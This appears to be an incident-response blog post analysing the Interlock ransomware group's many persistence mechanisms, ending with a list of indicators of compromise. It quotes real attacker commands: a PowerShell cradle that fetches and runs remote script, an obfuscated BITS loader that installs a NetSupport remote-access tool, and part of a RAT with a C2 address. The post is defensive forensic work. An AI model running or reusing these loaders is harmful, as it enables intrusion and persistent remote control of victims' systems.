May 21, 2025

Multi-Layered Persistence in the Cyberverse of Madness

Executive Summary

Persistence Techniques: Modern threat actors are deploying large-scale and varied persistence methods across environments to add pressure to recovery efforts, slow forensic response, and increase likelihood of maintaining persistence.

Case Highlight: The Interlock ransomware group utilized over 40 unique persistence methods across more than 100 hosts, complicating complete eradication efforts.

Actionable Insights: Understanding these sophisticated tactics is vital for enhancing incident response strategies and safeguarding critical infrastructure.

Introduction

Persistence has always been a core component of a threat actor’s playbook -- target a handful of hosts, install a backdoor out of plain sight to maintain access in the event of disruption and avoid detection. For forensics operators, this leads to the proverbial "needle-in-a-haystack" style approach of trying to hunt down core assets during timeframes of interest for potential footholds. However, we're starting to see a shift in how threat actors use persistence.In a recent ransomware case involving the Interlock ransomware group, nearly 25% of the environment was impacted by 1 of 40 different variants of persistence spanning scheduled tasks, registry keys, and services. This approach can quickly overwhelm recovery teams looking to restore business operations, add pressure to forensics teams that are rapidly trying to contain the environment and restore business operations, and may increase the likelihood that a persistence method on a host without a forensic collection or EDR agent goes unnoticed.In this blog, we'll take a look at the different persistence methods used by Interlock, and a measured incident response approach to accelerate eradicating threats employing this method to more rapidly restore client's to business operations.

Getting Persistent about Persistence

Threat actors establish persistence through a range of techniques, not only to maintain their foothold throughout the compromise period but, in some cases, such as with Interlock, to maintain persistence even after organizations have returned to business as usual. The majority of methods observed were through scheduled tasks and disguised malicious services, through a variety of file types and techniques.

Scheduled Tasks

We observed that more than half of the identified unique persistence mechanisms involved scheduled tasks. This included the use of Java-based backdoors, Node.js scripts, Cloudflare tunneling, and disguised DLL execution. A few examples of the activity observed can be seen below.

The ScheduledDefrags task was configured to use rundll32.exe to execute a malicious DLL masquerading as sccm.log, which established a command-and-control (C2) channel to a threat actor–controlled host. This technique provided persistence while evading detection by imitating the legitimate ScheduledDefrag system task.

Task Name: \Microsoft\Windows\Defrag\ScheduledDefrags
C:\Windows\System32\rundll32.exe 
C:\Users\_[Redacted]-backup\AppData\Roaming\sccm.log

The legitimate Windows task \Microsoft\XblGameSave\XblGameSaveTask was modified to execute node.exe with wmstupone.txt, a Node.js script that established a C2 channel. This represents another tactic observed during the engagement to maintain persistence while evading detection.

Task Name: \Microsoft\XblGameSave\XblGameSaveTask
C:\Temp\node.exe 
C:\Temp\wmstupone.txt

The task GoogleUpdaterTaskSystem... was configured to execute node.exe with googlenode.txt, a Node.js script designed to establish a C2 channel. In this case, the script was placed within a directory associated with ShoreTel’s legitimate telephony software suite, likely to evade detection by blending into a trusted application path.

Task Name: GoogleUpdaterTaskSystem132.0.6833.0{FC2A638D-CAB7-47A2-A088-CA98404027BF}
C:\Program Files (x86)\Shoreline Communications\ShoreWare Remote Server\wserver\node.exe
C:\Program Files (x86)\Shoreline Communications\ShoreWare Remote Server\wserver\googlenode.txt

The legitimate ProactiveScan task was modified to invoke a PowerShell download cradle that connected to a trycloudflare.com domain. This enabled the attacker to maintain persistence by remotely executing scripts from their controlled infrastructure.

Task Name: ProActive Scan
powershell.exe -NoProfile -w H -c "$r=iwr 'https[:]//sun-insurance-estimated-jurisdiction[.]trycloudflare[.]com' -UseBasicParsing;$s=[Text.Encoding]::UTF8.GetString($r.Content);iex $s"

Windows Services

A significant number of the identified persistence mechanisms leveraged Windows Services to execute malicious binaries upon system startup. Several examples of this activity are provided below. The Win32.dll file is a malicious DLL registered as a Windows service. Once loaded, it facilitates ongoing communication with attacker-controlled infrastructure, functioning as a persistent backdoor on the system.

"C:\Windows\system32\rundll32.exe" C:\Windows\Temp\win32.dll start 

Despite its .ps1 extension, CheckFolder.ps1 is a disguised DLL, identifiable by its MZ header. Its true purpose is to maintain remote access by routinely connecting to a C2 server, enabling the attacker to issue commands and exfiltrate data under the guise of a benign PowerShell script.

"C:\Windows\system32\rundll32.exe" C:\Scripts\CheckFolder.ps1 start 

Disguised as a benign deployment component, veeamDeploymentSvc.jar is a malicious Java archive set to run as a service. It was designed to covertly establish a C2 channel, granting remote control capabilities while blending in with enterprise software.

java.exe -jar C:\temp/veeamDeploymentSvc.jar

Registry Run Key

The threat actor leveraged the Registry Run key to establish persistence within the compromised environment. Specifically, the Background Intelligent Transfer Service (BITS) was employed to download malicious archive files from attacker-controlled staging domains. Upon extraction, the payload, client32.exe, a NetSupport Remote Access Tool, was added to the Registry Run key to execute at system startup.

$rkhKs='https://andrixdesign[.]com/kzz/c4ub.zip'; $r4i0aO2=gCm ExPAND-aRchive -ERroRactiOn sILENtlyCONTInUE; $tAzDM3G='0YEHK.zip'; $JxLRSsu='0neNote'; $yMIQvFY='https://andrixdesign[.]com/kzz/c1ub.zip'; [NET.seRviCEpOinTmAnageR]::SeCURiTyPRotOcoL = [NET.SecUritYpROTOCoLTyPe]::TLS12; $xV9GW='8lf8Nz.zip'; cHDir $EnV:APPdATA; $gXBHN='https://andrixdesign[.]com/kzz/c3ub.zip'; $hs0jp='8x2ORG1p.zip'; $3kyFB='tfoTTAz.zip'; $89ZOqF=GeT-cOMmand STarT-BiTstransFer -eRroRACtIOn SIlENTLYCoNtiNuE; $iZvbcU8='https://andrixdesign[.]com/kzz/c2ub.zip'; $Tdb1LJi=jOiN-pAtH -path $EnV:appdaTa -ChildPaTH $3kyFB; $fkrT24xB=join-PaTh -path $ENv:aPPdATA -CHiLDPAtH $xV9GW; $tIN8p6=$EnV:APPDAta, $hs0jp -JOIn '\'; $7LbeS=$ENv:aPPdATA, $tAzDM3G -joiN '\'; $0vJiRU=$env:ApPDAta+'\'+$JxLRSsu; $nvEF3="bitSaDmIn.Exe /tRAnsFEr cxVpi /DoWNlOaD /pRiorITY noRMal $iZvbcU8 $Tdb1LJi"; $5Hb8u="BitsaDMiN.EXe /TraNsfeR 2rb7ljAs /DownLOaD /pRIOrity NoRmAl {0} {1}" -f $yMIQvFY, $7LbeS; $mNHWh='BitsaDMiN.EXe /TraNsfeR 2rb7ljAs /DownLOaD /pRIOrity NoRmAl '+$yMIQvFY+' '+$fkrT24xB; $fmIHy="BitSADmIn.eXe /transfer XWI63 /DoWnLOaD /prIoRItY nOrMal {0} {1}" -f $gXBHN, $tIN8p6; IF ($r4i0aO2) { if ($89ZOqF) { sTArt-bITsTRAnSfEr -SOurCE $rkhKs -dEStINAtion $7LbeS; STArT-BiTStraNsFeR -SOurCE $gXBHN -DEstInatIOn $tIN8p6; StarT-biTsTrAnSFER -sOuRce $iZvbcU8 -dEsTInAtioN $Tdb1LJi; STaRt-biTStRAnSfER -souRCE $yMIQvFY -DeSTinatIon $fkrT24xB; } ELse {iNvoKE-EXprEssiON -CoMmaND $fmIHy; iNvoKE-EXprEssiON -CoMmaND $5Hb8u; iNvOkE-eXPResSIoN -coMMand $mNHWh; iNvoKE-EXprEssiON -CoMmaND $nvEF3; } eXPaND-arCHIvE -Path $fkrT24xB -dESTinATiOnpath $0vJiRU; EXpand-aRCHIVe -PAth $7LbeS -dESTInaTIOnpaTh $0vJiRU; eXPAnD-ArcHIve -PAtH $tIN8p6 -dEsTiNaTioNPAth $0vJiRU; expANd-aRChiVE -PaTH $Tdb1LJi -dEsTiNaTiONPATh $0vJiRU; rD -PaTH $7LbeS; rEMoVe-itEm -paTH $Tdb1LJi; rD -paTH $tIN8p6; rD -pATH $fkrT24xB; } elSE { $VQwHwmqE='https://andrixdesign[.]com/kzf/'; nI -path $ENv:APpdAtA -nAME $JxLRSsu -iTemTYPE 'directory'; $2w7SnNYX=@('client32.exe', 'pcicapi.dll', 'nskbfltr.inf', 'msvcr100.dll', 'client32.ini', 'NSM.LIC', 'AudioCapture.dll', 'HTCTL32.DLL', 'remcmdstub.exe', 'PCICHEK.DLL', 'PCICL32.DLL', 'TCCTL32.DLL', 'nsm_vpro.ini'); iF ($89ZOqF) { $2w7SnNYX | FoReACh { $I8YZ2qOA=$VQwHwmqE+$_; $0zk0LjF=$0vJiRU+'\'+$_; StARt-BiTSTrANSFer -SoUrCe $I8YZ2qOA -dESTiNAtion $0zk0LjF; };} elsE { $2w7SnNYX | FOREach-ObjECT { $I8YZ2qOA=$VQwHwmqE+$_; $0zk0LjF=$0vJiRU+'\'+$_; $PMxf4xeF='bITsADMIn.eXE /tRaNSFEr GNuSoqmn /dowNLoAD /PRIoRITy nORmAl '+$I8YZ2qOA+' '+$0zk0LjF; INVOkE-EXpREssiON -command $PMxf4xeF;}; }; }; $FKnpvj3k=geT-itEM $0vJiRU -fORce; $FKnpvj3k.atTrIBUtes='Hidden'; cd $0vJiRU; $x6h7cc=$0vJiRU, 'client32.exe' -JoiN '\'; starT client32.exe; New-iTEmPRoPerty -patH 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -nAME $JxLRSsu -vaLUE $x6h7cc -pRopeRTyTYPE 'String';

PowerShell RATs

Remote Access Trojans (RATs) were deployed via heavily obfuscated PowerShell commands, crafted to bypass detection controls and maintain access through a designated C2 server. An example of such activity is shown below:

# Initialize XOR key array
$xorec = New-Object byte[] 50
For ($i = 0; $i -ne 50; $i++) { $xorec[$i] = $i }

# Set C2 server IP and port
$ipaddress = "157.230.182.115"
$dport = 443

# Define helper function for encryption/decryption
function Encrypt-Buffer {
param($key, [int]$keyLength, $buffer, $start, $size)
for ($i = 0; $i -lt $size; $i++) {
$buffer[$start + $i] = $buffer[$start + $i] -bxor $key[$i % $keyLength]
}

Legitimate User Accounts

The threat actor was observed changing passwords for 544 user accounts within the client’s environment. This activity was intended to secure long-term access, impede recovery efforts, and delay incident response by locking out legitimate users.

The Importance of Deep Forensics

The mass distribution of persistence observed in this case highlights the need for a comprehensive and methodical Digital Forensics and Incident Response (DFIR) approach. The widespread deployment and diverse persistence and evasion strategies observed in this case highlights the need for full endpoint visibility, comprehensive telemetry collection, continuous monitoring, and robust forensic processes. Without these capabilities, organizations risk missing deeply embedded persistence mechanisms, allowing attackers to maintain long-term access and cause further damage.

To detect and eliminate persistence at this scale, we conducted a methodical sweep of the environment using both proactive and reactive investigative techniques. This included analyzing Windows Services and registry key modifications, enumerating scheduled tasks, reviewing command histories in both Command Prompt and PowerShell, and examining Master File Table (MFT) entries to detect anomalies. We approached each persistence type systematically, identifying file types (e.g., JARs, DLLs, Node.js, etc.) to drill into across across the environment. Hash blocking and Indicators of Attack (IOAs) were deployed to isolate known malicious binaries, while deep dives on high-risk hosts helped surface less obvious footholds. On-Demand Scans (ODS) were used to uncover hidden artifacts, and hosts were safely rebooted under containment to trigger latent scheduled tasks.

Quick Tips for Investigative Success:

  1. Ensure host level visibility >90%. With footholds everywhere, covering servers alone won't be enough to prevent reinfection.
  2. Lean on time-based review and frequency analysis. Look at new registry run keys, scheduled tasks, and services created around the core timeframe of interest across all hosts. This typically spans a two week period. Be mindful of scripting interpreter usage and evaluate command line arguments across all, and look for infrequently occurring persistence items across the timeframe. Those are strong leads of interest.
  3. Remediation vigilance. Maintain up-to-date tracking for remediation items including blocking / banning identified binaries and persistence. Remember to kill processes as well! Many leading EDRs do not apply bans or blocks on currently running processes which can provide a false sense of security.

Final Thoughts

The Interlock Group’s tactics highlight the increasing sophistication of modern threat actors, who are adapting their methods to counteract the investigative techniques employed by responders, and enhancing their ability to evade detection. As incident responders, we must move beyond traditional ways of thinking and adopt a proactive and flexible approach to detection and response. EDR telemetry plays a crucial role in investigations, providing valuable visibility into suspicious activity in real-time. When combined with scalable forensic tools, appropriate preventative controls, and analytical processes, it enables large-scale investigations to be conducted at speed with the appropriate level of risk reduction, ensuring that layered persistence mechanisms are identified and fully eradicated from compromised environments.

At MOXFIVE, we continuously analyze emerging threats and work to develop strategies that help organizations defend against these evolving attack techniques. Persistence is one of the most challenging aspects of incident response, and without proper forensic investigations and robust processes, organizations risk leaving the door open for threat actors.

Have you encountered similar persistence techniques in your investigations?

Key Indicators of Compromise (IOCs)

Cloudflare Tunneling

  • TryCloudflare  abuse:
    • Script.js  – Disguised JS script (x1j9HY34.log) acting as malware loader
    • sun-insurance-estimated-jurisdiction.trycloudflare[.]com/cloudfla
    • washing-cartridges-watts-flags.trycloudflare[.]com
    • sublime-forecasts-pale-scored.trycloudflare[.]com
    • investigators-boxing-trademark-threatened.trycloudflare[.]com
    • fotos-phillips-princess-baker.trycloudflare[.]com
    • casting-advisors-older-invitations.trycloudflare[.]com
    • complement-parliamentary-chairs-hc.trycloudflare[.]com

PowerShell Scripts

  • Posh-SSH.psd1  – PowerShell SSH module
  • Encoded scripts using BITS jobs to fetch payloads, including PowerShell-based RATs

Java-Based Backdoors

  • CheckTime.jar  – C2
  • pcmontask.jar  – C2
  • VeeamDeploymentSvc.jar  – C2
  • File  – C2
  • File2  – C2
  • fgjhgc  – C2

Node.js Backdoors

  • wmstupone.txt  – C2 via Node.exe, Scheduled Task:
     \Microsoft\XblGameSave\XblGameSaveTask
  • googlenode.txt  – C2 via Node.exe, Scheduled Task:
     GoogleUpdaterTaskSystem132.0.6833.0

Other Backdoors

  • win32.dll  – C2, via Scheduled Task: ProactiveScan
  • sccm.log  (renamed .dll) – C2, via Scheduled Task:
     Microsoft\Windows\Defrag\ScheduledDefrags
  • CheckFolder.ps1  (renamed .dll) – C2 (Windows Services)
  • win.exe, tmp28543.dll, sshconect.exe – C2-capable binaries

Remote Access Tooling

  • client32.exe  – NetSupport RMM
  • AnyDesk.exe  – Remote Management Tool
  • UVNC_Launch.exe  – UltraVNC remote access
  • Advanced_Port_Scanner_2.5.3869.exe  – Dual-use, supports remote access

Ransomware Encryptors (Deployed from 10 hosts)

  • JAR-based:
    • XxX.jar
    • night.jar
  • ESXi  Encryptors:
    • Sleep  / Conhost
    • Bash  scripts: main1.sh, create.sh, cl.sh, chst.sh, main0.sh
      (Used for ESXi staging, execution, and cleanup)

Other Key Binaries

  • SysMon.sys  – Malicious BYOVD driver used for EDR termination
  • secretsdump.exe  – Credential dumping
  • rubeus.exe  – Kerberos ticket extraction/abuse
  • ShareAudit.v3.0.2.exe  – Network share discovery
  • Execute.bat  – NTDS dump script
  • WinSCP.exe  – Used to pull down additional threat actor tooling
  • win32.exe,  client32.exe – AzCopy for directory and SQL exfiltration
  • PuTTY  Suite:
    • putty.exe,  pscp.exe, plink.exe, PuTTYPortable.exe,  PuTTYPortable_0.76_English.paf.exe
    • plink.exe  used to access ESXi via SSH and execute sleep encryptor: setsid  /usr/share/sleep -d /vmfs/volumes

Staging Domains

  • andrixdesign[.]com
    • Delivered  payloads: c1ub.zip, c2ub.zip, c3ub.zip, c4ub.zip

External C2 Infrastructure

  • 157.230.182[.]115  – PowerShell RAT
  • 146.70.24[.]178  – PowerShell RAT
  • 138.199.156[.]22  – Disguised DLL-based (.log) backdoors
  • 49.12.102[.]206  –  Java, NodeJS and DLL-based backdoors
  • 206.206.123[.]65  – Java, NodeJS and DLL-based backdoors
  • 193.149.180[.]158  –  Java, NodeJS and DLL-based backdoors
  • 216.245.184[.]181,  212.237.217[.]182, 168.119.96[.]41 – TryCloudflare
  • 20.209.84[.]129  – Azure Blob Storage (AzCopy exfil)
  • 23.254.144[.]106,  94.247.42[.]153 – Staging Domains
  • cubawebcars[.]com - Staging Domain
  • cuba1web2cars3[.]com - Staging Domain

Amir Abbas

Amir serves as the EMEA/APAC IR Lead at MOXFIVE, where he is recognized as a subject matter expert in incident response. He brings a wealth of experience managing and investigating high-impact, complex cyber incidents across sectors including defense, healthcare, and critical infrastructure. With deep roots in digital forensics, Amir is known for his ability to think creatively and tactically, leveraging unconventional methodologies to deliver decisive results. He has successfully led large-scale, cross-functional teams in high-pressure environments, aligning efforts across stakeholders to meet and exceed client objectives. His expertise encompasses ransomware investigations, advanced persistent threat intrusions, cloud infrastructure compromises, cryptocurrency forensics, and wireless ethical hacking. Driven by a relentless commitment to innovation and operational excellence, Amir consistently delivers outcomes that not only resolve crises but strengthen client resilience.

Experts predict there will be a ransomware
attack every 11
seconds in 2021.
from Cybercrime Magazine
Our mission is to minimize the business impact of cyber attacks. 

HOW WE CAN HELP

Incident Response

MOXFIVE provides the clarity and peace of mind needed for attack victims during the incident response process. Our platform approach enables victims of attacks to work with a Technical Advisor who provides the expertise and guidance needed in a time of crisis, and facilitates the delivery of all technical needs required, consistently and efficiently.

Learn More

Business Resilience

With experience on the front lines responding to incidents daily, MOXFIVE Technical Advisors have the unique ability to connect the dots between business, information technology, and security objectives to help you quickly identify the gaps and build a more resilient environment.

Learn More